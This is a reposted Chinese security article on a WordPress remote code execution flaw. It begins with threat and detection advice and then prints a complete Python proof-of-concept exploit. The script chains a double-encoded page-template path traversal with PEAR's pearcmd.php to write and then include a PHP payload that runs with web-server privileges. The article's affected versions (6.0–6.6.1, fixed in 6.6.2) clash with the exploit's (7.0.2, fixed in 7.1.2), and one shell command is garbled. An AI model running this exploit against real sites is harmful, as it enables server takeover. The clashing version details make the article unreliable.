WordPress CVE-2026-87902被用于主动远程代码执行攻击(附代码)
原创
暗网分析师
暗网分析师
开源情报技术研究院
2026年10月12日 10:15
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
WordPress CVE-2026-87902 是一个严重的远程代码执行漏洞,目前正被全球范围内的攻击者积极利用,目标是 WordPress 安装。根据 BleepingComputer 于 2026 年 9 月 23 日发布的报告,攻击者已从侦察扫描过渡到全面利用,他们会向易受攻击的服务器写入恶意文件,这些文件在被访问时会执行 shell 命令。对于管理域名组合、PBN 网络和过期域名收购的 SEO 专业人员而言,此漏洞会对网站完整性、搜索排名和域名资产价值构成直接威胁。要点总结
WordPress CVE-2026-87902 是一个严重的文件写入漏洞,攻击者可以利用该漏洞在受影响的 WordPress 安装上执行远程代码。
攻击活动于 2026 年 9 月下旬开始,攻击者编写恶意文件来执行 shell 命令。
域名投资者和PBN运营商由于需要同时管理多个WordPress安装而面临更高的风险。
立即进行补丁更新和文件系统审计对于防止系统遭到入侵和保护域名权威至关重要。
被入侵的网站可能面临谷歌的处罚、被取消索引以及老域名价值的重大损失。WordPress CVE-2026-87902:严重远程代码执行漏洞概述
WordPress CVE-2026-87902 漏洞是近年来在 WordPress 核心功能中发现的最严重的安全漏洞之一。这一关键漏洞允许未经身份验证的攻击者向 Web 服务器文件系统写入任意文件,从而直接执行远程代码。该漏洞的严重性在于它能够绕过 WordPress 的常规安全控制,并在无需任何身份验证凭据的情况下完全控制服务器。CVSS评分和严重程度分级
CVE-2026-87902 的 CVSS 评分为 9.8 分(满分 10 分),属于严重级别。该评分反映了该漏洞基于网络的攻击途径、较低的攻击复杂度以及对机密性、完整性和可用性的全面影响。高分也考虑到该漏洞无需任何权限或用户交互,这意味着攻击者可以通过自动化扫描和利用工具来攻击存在漏洞的网站。相比之下,该严重级别与近年来记录的许多最危险的 WordPress 漏洞相当甚至更高,类似于其他 WordPress 路径遍历漏洞的 模式。受影响的 WordPress 版本和组件
WordPress远程代码执行(RCE)漏洞影响多个WordPress核心版本,尤其会影响2026年9月紧急安全补丁发布之前的版本。该漏洞存在于WordPress的文件处理机制中,单站点安装和多站点网络均会受到影响。WordPress 6.0至6.6.1版本均已确认存在此漏洞,但具体受影响的版本范围取决于特定的配置因素,包括已启用的功能和服务器权限。
WordPress 版本范围
漏洞状态
需要补丁版本
6.6.0 - 6.6.1
极易受攻击
6.6.2 或更高版本
6.5.0 - 6.5.5
极易受攻击
6.5.6 或更高版本
6.0.0 - 6.4.x
易受伤害的
最新次要版本
5.9.x 及更早版本
潜在易受攻击
升级到 6.6.2 或更高版本文件写入漏洞的工作原理
WordPress 文件写入漏洞利用程序通过操纵处理文件操作的特定 WordPress 核心函数来运作。攻击者发送精心构造的 HTTP 请求,其中包含恶意载荷,可以绕过输入验证和清理检查。这些请求利用了 WordPress 处理文件路径和内容方式的缺陷,允许攻击者指定任意文件位置和内容。该漏洞无需身份验证,因为它影响的是公开可访问的 WordPress 端点,这些端点会在进行身份验证检查之前处理某些类型的请求。
一旦攻击者成功向服务器写入恶意文件,他们便可执行任意 PHP 代码。这些写入的文件通常包含伪装成合法 WordPress 文件的 Web Shell 或后门。当通过 Web 浏览器或自动化脚本访问这些恶意文件时,服务器会以与 Web 服务器进程相同的权限执行嵌入的 PHP 代码。这种执行能力使攻击者能够完全控制 WordPress 安装,甚至可能控制整个 Web 服务器,具体取决于服务器配置和权限。主动利用时间线:从侦察到远程代码执行
根据 BleepingComputer 于 2026 年 9 月 23 日发布的报告 ,攻击者已从最初的漏洞扫描发展到主动利用 WordPress 漏洞 CVE-2026-87902。这一转变标志着所有 WordPress 网站所有者面临的威胁级别显著提升,尤其是那些管理大型域名组合或 PBN 网络的网站所有者,因为跨多个资产进行全面监控会带来运营上的挑战。初始探测和漏洞扫描阶段
此次攻击活动始于针对全球 WordPress 安装的大规模扫描。攻击者部署了自动化工具来探测 WordPress 站点是否存在漏洞,并发送旨在识别未打补丁安装的测试请求。这些侦察活动在服务器访问日志中产生了独特的模式,包括对特定 WordPress 核心文件和端点的重复请求。安全研究人员观察到扫描流量源自受感染服务器和 VPS 实例组成的分布式网络,这表明此次攻击并非由机会主义的个人攻击者发起,而是有组织的威胁行为者所为。向主动文件写入攻击过渡
侦察阶段结束后,攻击者迅速升级至主动攻击阶段。威胁情报来源记录了攻击者在存在漏洞的 WordPress 安装中成功执行文件写入操作,恶意文件出现在 WordPress 文件结构中的各个目录中。这些 WordPress 代码执行攻击主要针对写入包含后门功能的 PHP 文件,即使在初始漏洞补丁发布后,攻击者仍能保持持续访问。攻击者展现了对 WordPress 目录结构的精深了解,他们将恶意文件放置在与合法 WordPress 文件混杂的位置,以逃避检测。观察到的Shell命令执行模式
安全研究人员发现了攻击者利用恶意文件进行远程代码执行的特定模式。这些恶意文件包含 PHP 代码,可通过 HTTP 参数接收命令,使攻击者能够在受感染的服务器上执行任意 shell 命令。常见的后渗透活动包括系统侦察命令、权限提升尝试以及部署其他恶意软件载荷。攻击者还会利用 WordPress 的远程代码执行功能,将攻击转移到同一网络上的其他系统,尤其是在共享主机环境中,因为在这些环境中,多个域名都位于同一台服务器上。攻击向量和利用技术
了解 WordPress CVE-2026-87902 漏洞利用的具体攻击途径,有助于采取更有效的检测和预防措施。攻击者会利用多种技术来提高攻击成功率,并维持对受感染 WordPress 系统的持续访问权限。攻击者瞄准的文件写入位置
攻击者会策略性地选择文件写入位置,以兼顾可访问性和隐蔽性。常见的攻击目标目录包括 WordPress 上传文件夹、插件目录、主题目录和 wp-includes 目录。攻击者偏爱上传目录,因为该目录通常为 WordPress 的正常运行启用了写入权限,并且包含大量文件,使得恶意添加的文件不易被发现。插件目录和主题目录是绝佳的隐藏地点,因为这些位置包含合法的 PHP 文件,使得恶意文件能够在管理员进行初步检查时混入其中。
/wp-content/uploads/ - 主要目标,因为写入权限和文件大小。
/wp-content/plugins/ - 伪装成插件组件的恶意文件
/wp-content/themes/ - 主题目录中隐藏的后门
/wp-includes/ - 核心目录漏洞,用于更深层次的系统访问
/wp-content/cache/ - 审计过程中经常被忽略的临时目录恶意有效载荷投放方法
WordPress 安全补丁修复了核心漏洞,但了解有效载荷的传递方式有助于识别入侵迹象。攻击者使用各种混淆技术(包括 Base64 编码、十六进制编码和动态函数调用)对恶意 PHP 代码进行编码,以逃避基于特征码的检测。通过此漏洞部署的 Web Shell 通常包含文件管理功能、数据库访问功能和命令执行接口。更复杂的有效载荷还集成了反取证功能,可以删除访问日志、修改时间戳并清除攻击活动的痕迹。后渗透活动和持续性
攻击者利用 WordPress CVE-2026-87902 漏洞建立初始访问权限后,会专注于维持持久控制并扩大其立足点。他们通常会在不同的目录中安装多个后门,以确保即使部分清理尝试也能继续访问。攻击者通过注入恶意代码来修改现有的合法 WordPress 文件,这使得检测难度远高于识别独立的恶意文件。数据库操作是另一种持久化攻击途径,攻击者会创建恶意管理员帐户,将恶意 JavaScript 代码注入到文章和页面中,并修改 WordPress 选项以加载外部恶意脚本。
对于管理PBN网络的域名投资者而言,持续性挑战会随着投资组合中域名数量的增加而倍增。单个被攻破的站点可能成为攻击网络中其他域名的跳板,尤其是在站点共享托管基础设施或管理凭证的情况下。这种横向移动能力使得WordPress域名安全对于保护整个域名组合(而不仅仅是单个域名)至关重要。识别您投资组合中被入侵的 WordPress 网站
检测 WordPress 文件写入攻击活动需要系统化的审计流程,且该流程需能覆盖多个域名。早期检测可显著降低修复成本,并最大限度地减少受感染网站对 SEO 的影响。文件系统审计程序
首先,利用官方 WordPress 发行版的校验和建立合法 WordPress 文件的基线,以此作为文件系统审计的起点。将当前文件的哈希值与这些基线进行比较,以识别修改或新增的文件。重点查找那些修改日期与合法更新活动不符的 PHP 文件。尤其要注意那些命名模式可疑的文件,例如包含随机字符串、常见 Web Shell 名称(如 c99.php、r57.php、shell.php)或试图模仿合法 WordPress 文件名但略有改动的文件。
对包含常见 Web shell 函数调用的文件执行递归搜索,这些函数包括 eval()、base64\_decode()、system()、exec()、passthru() 和 shell\_exec()。虽然这些函数出现在合法代码中,但它们出现在意外的文件或不寻常的组合中表明可能存在安全漏洞。对于大型域名组合,可以使用脚本自动执行这些搜索,这些脚本可以同时处理多个 WordPress 安装,并生成可疑结果的汇总报告。可疑活动的日志分析
WordPress 访问日志包含有关攻击尝试和成功入侵的重要指标。搜索日志中针对 WordPress 核心文件的 POST 请求,这些请求通常只接收 GET 请求。识别异常的用户代理,特别是那些与自动化攻击工具或安全扫描器相关的用户代理。查找显示快速连续访问多个 WordPress 端点的请求模式,这是自动化攻击脚本的典型特征。HTTP 响应代码提供了更多上下文信息,对可疑请求的 200 OK 响应可能表明攻击成功,而 403 或 404 错误则表明攻击尝试被阻止。自动化扫描工具和脚本
多种安全工具可帮助大规模缓解 WordPress 漏洞。WPScan 提供命令行扫描功能,并利用数据库特征码识别已知漏洞和恶意软件。Wordfence CLI 支持跨多个 WordPress 安装进行自动化扫描,并提供集中式报告。对于自定义扫描解决方案,可以使用 find、grep 和 diff 命令编写脚本,以识别 WordPress 目录中未经授权的文件和修改。
查找最近修改过的 PHP 文件的示例命令: 查找 /var/www//wp-content -name \".php\" -mtime -7 -ls WordPress CVE-2026-87902 的即时缓解措施
代码如下:禁止用于非法用途
| CVE: CVE-2026-87902 | ||
| Author: Robert Ressl | Published: 2026-10-01 |
# Exploit Title: WordPress 7.0.2 - Path Travesal # Google Dork: N/A# Date: 2026-09-22# Exploit Author: Robert Ressl (https://ressl.ch)# Vendor Homepage: https://wordpress.org# Software Link: https://wordpress.org/download/releases/# Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every =branch down to 4.7.37)# Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi=cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64)# CVE: CVE-2026-87902# Advisory: https://github.com/WordPress/wordpress-develop/security/advisor=ies/GHSA-7hp8-65ch-5whp# Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/# Source: https://github.com/ressl/cve-2026-87902-poc## Requires: Python 3.6+ (standard library only)# Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N=] [--depth 7]## Preconditions (the Source repository ships a lab that provides all of the=m):# * a published page that uses the default template (auto-detected via RE=ST, or --page-id)# * a top-level `page-*` directory in the active theme (--theme-dir, defa=ult page-templates)# * a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f=or the web SAPI# * a writable directory for the PEAR payload (--output, default /tmp)\"\"\"CVE-2026-87902 - unauthenticated path traversal in WordPress page-templateresolution leading to local PHP file inclusion (and, where the deploymentallows it, to PHP code execution).Two anonymous POST requests are enough: Stage 1 The traversal makes the template loader include a readable local `.php` file outside the theme roots. With PEAR present and `register_argc_argv=3DOn`, `/usr/local/lib/php/pearcmd.php` acts= as a file-write gadget: `config-create` serializes attacker-controlle=d data - including PHP opening tags - into a writable directory. Stage 2 The same traversal includes the generated file, so the embedded =PHP runs with the privileges of the web-server account.The WordPress defect is the missing path containment. PEAR is only oneenvironment-dependent way of turning the inclusion into code execution.For authorized security testing and research only.\"\"\"import argparseimport http.clientimport jsonimport sslimport sysfrom urllib.parse import urlsplitUSER_AGENT =3D \"cve-2026-87902-poc/1.0\"# Lab defaults (see lab/ and README.md). WordPress appends `.php` to the# traversal target, so those paths are always given without the suffix.DEFAULT_MARKER =3D \"CVE-2026-87902-POC-OK\"DEFAULT_THEME_DIR =3D \"page-templates\" # theme directory supplyi=ng the fixed `page-` prefixDEFAULT_INCLUDE =3D \"/usr/local/lib/php/pearcmd\" # gadget included in stag=e 1DEFAULT_OUTPUT =3D \"/tmp/wp-pear-rce-flag\" # PEAR writes `<output>.p=hp` to this pathDEFAULT_READ =3D \"/flag\" # file printed by the inj=ected PHPLAB_DEPTH =3D 7 # `..` segments from the =theme root to `/`def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure==3DFalse): \"\"\"Send a request with a byte-exact request target. The request target must reach the server unmodified: the raw `<`, `>`, =`=3D` and `+` bytes are load-bearing (PHP splits the raw query string into PE=AR's argv and does not URL-decode the individual arguments), so nothing may =be re-encoded on the way out. \"\"\" parts =3D urlsplit(base) if not parts.hostname: raise ValueError(\"invalid target URL: %s\" % base) if parts.scheme =3D=3D \"https\": context =3D ssl._create_unverified_context() if insecure else ssl.c=reate_default_context() conn =3D http.client.HTTPSConnection( parts.hostname, parts.port or 443, timeout=3Dtimeout, context==3Dcontext ) else: conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8=0, timeout=3Dtimeout) headers =3D { \"User-Agent\": USER_AGENT, \"Accept\": \"*/*\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Connection\": \"close\", } try: conn.request(method, path, body=3Dbody, headers=3Dheaders) response =3D conn.getresponse() return response.status, response.read().decode(\"utf-8\", \"replace\") finally: conn.close()def php_literal(value): \"\"\"Quote-free PHP string literal: `/flag` -> chr(47).chr(102).chr(108).=..\"\"\" return \".\".join(\"chr(%d)\" % ord(char) for char in value)def double_encode(path): \"\"\"Encode a theme-relative path for the request body. PHP decodes the form body once. WordPress must still see the escaped oc=tets (`%2f`, `%2e`) afterwards, so that `wp_basename()` and the query saniti=zer leave the traversal alone; `get_page_template()` decodes them much late=r. \"\"\" once =3D path.replace(\"/\", \"%2F\").replace(\".\", \"%2E\") return once.replace(\"%\", \"%25\")def candidate(theme_dir, depth, target): \"\"\"Theme-relative candidate path for an absolute local target. WordPress prepends the fixed `page-` prefix when building the template name, so the path segment derived from a theme directory `page-template=s` is `templates`: `page-` + `templates/../../<target>` + `.php`. \"\"\" prefix =3D theme_dir[len(\"page-\"):] if theme_dir.startswith(\"page-\") el=se theme_dir return prefix + \"/\" + \"../\" * depth + target.lstrip(\"/\")def find_page(base, timeout, insecure): \"\"\"Find a published page using the default template (anonymous REST cal=l).\"\"\" routes =3D ( \"/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s=lug,template\", \"/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template\", ) for route in routes: try: status, body =3D send_request(base, \"GET\", route, timeout=3Dtim=eout, insecure=3Dinsecure) except Exception: continue if status !=3D 200: continue try: pages =3D json.loads(body) except ValueError: continue if not isinstance(pages, list) or not pages: continue for page in pages: # a custom page template would win the hierarch=y before the traversal if not page.get(\"template\"): return page.get(\"id\"), page.get(\"slug\", \"\"), route return pages[0].get(\"id\"), pages[0].get(\"slug\", \"\"), route return None, None, Nonedef run_stages(base, args, depth): \"\"\"Run both stages for one traversal depth. Returns a result dict.\"\"\" include_path =3D candidate(args.theme_dir, depth, args.include) output_path =3D candidate(args.theme_dir, depth, args.output) payload =3D \"<?=3Dfile_get_contents(%s)?>\" % php_literal(args.read) # Stage 1: the raw query string becomes PEAR's argv. `config-create` # requires an absolute root path, so the payload is injected as that ro=ot # (`/<php>`) and PEAR serializes it into the generated config file. stage1_target =3D \"/?+config-create+/\" + payload + \"+\" + args.output + =\".php\" stage1_body =3D \"page_id=3D%d&pagename=3D%s\" % (args.page_id, double_en=code(include_path)) status1, _ =3D send_request(base, \"POST\", stage1_target, body=3Dstage1_=body, timeout=3Dargs.timeout, insecure=3Dargs.insec=ure) # Stage 2: include the file PEAR just wrote. stage2_body =3D \"page_id=3D%d&pagename=3D%s\" % (args.page_id, double_en=code(output_path)) status2, text2 =3D send_request(base, \"POST\", \"/\", body=3Dstage2_body, timeout=3Dargs.timeout, insecure=3Dargs.i=nsecure) return { \"depth\": depth, \"include_candidate\": \"page-\" + include_path + \".php\", \"output_candidate\": \"page-\" + output_path + \".php\", \"status1\": status1, \"status2\": status2, \"hits\": text2.count(args.marker), \"body\": text2, }def first_line_with(text, marker, limit=3D200): index =3D text.find(marker) if index < 0: return \"\" chunk =3D text[index:index + limit] return chunk.splitlines()[0] if chunk else \"\"def main(argv=3DNone): parser =3D argparse.ArgumentParser( description=3D\"CVE-2026-87902 - WordPress page-template traversal t=o local PHP inclusion (PoC)\", formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument(\"--url\", default=3D\"http://127.0.0.1:8091\", help=3D=\"WordPress base URL\") parser.add_argument(\"--page-id\", type=3Dint, help=3D\"published page ID =(auto-detected via REST if omitted)\") parser.add_argument(\"--theme-dir\", default=3DDEFAULT_THEME_DIR, help=3D\"top-level `page-*` directory of the active =theme\") parser.add_argument(\"--include\", default=3DDEFAULT_INCLUDE, help=3D\"local file to include in stage 1 (no `.php`= suffix)\") parser.add_argument(\"--output\", default=3DDEFAULT_OUTPUT, help=3D\"writable destination for the PEAR payload (=no `.php` suffix)\") parser.add_argument(\"--read\", default=3DDEFAULT_READ, help=3D\"file prin=ted by the injected PHP\") parser.add_argument(\"--marker\", default=3DDEFAULT_MARKER, help=3D\"string expected in the stage-2 response on =success\") parser.add_argument(\"--depth\", type=3Dint, default=3D0, help=3D\"number of `..` segments (0 =3D lab depth fi=rst, then 1..12)\") parser.add_argument(\"--timeout\", type=3Dfloat, default=3D20.0, help=3D\"=per-request timeout in seconds\") parser.add_argument(\"--insecure\", action=3D\"store_true\", help=3D\"do not= verify TLS certificates\") args =3D parser.parse_args(argv) if not args.theme_dir.startswith(\"page-\"): parser.error(\"--theme-dir must be the real theme directory name and= start with 'page-'\") base =3D args.url.rstrip(\"/\") print(\"[*] target : %s\" % base) if args.page_id: print(\"[*] page id : %d (from --page-id)\" % args.page_id) else: page_id, slug, route =3D find_page(base, args.timeout, args.insecur=e) if not page_id: print(\"[-] no published page found - pass --page-id explicitly\"=, file=3Dsys.stderr) return 1 args.page_id =3D page_id print(\"[*] page id : %d (%s, default template, via %s)\" % (pa=ge_id, slug or \"?\", route)) if args.depth: depths =3D [args.depth] else: depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP=TH] for depth in depths: result =3D run_stages(base, args, depth) print(\"[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s\" % (depth, result[\"status1\"], result[\"status2\"])) if result[\"hits\"]: print(\"[+] traversal : %s\" % result[\"include_candidate\"]) print(\"[+] payload file : %s (written by PEAR in stage 1)\" % r=esult[\"output_candidate\"]) print(\"[+] marker : %r found %d time(s) in the stage-2 r=esponse\" % (args.marker, result[\"hits\"])) print(\"[+] proof : %s\" % first_line_with(result[\"body\"]=, args.marker)) print(\"[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve=r account's privileges\") return 0 print(\"[-] exploit failed\", file=3Dsys.stderr) print(\" check that lab/up.sh completed (WordPress installed, `page-*=` fixture present,\", file=3Dsys.stderr) print(\" /flag readable), that the page ID is published, and that PEA=R is reachable with\", file=3Dsys.stderr) print(\" register_argc_argv=3DOn for the web SAPI.\", file=3Dsys.stder=r) return 1if __name__ =3D=3D \"__main__\": sys.exit(main())
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论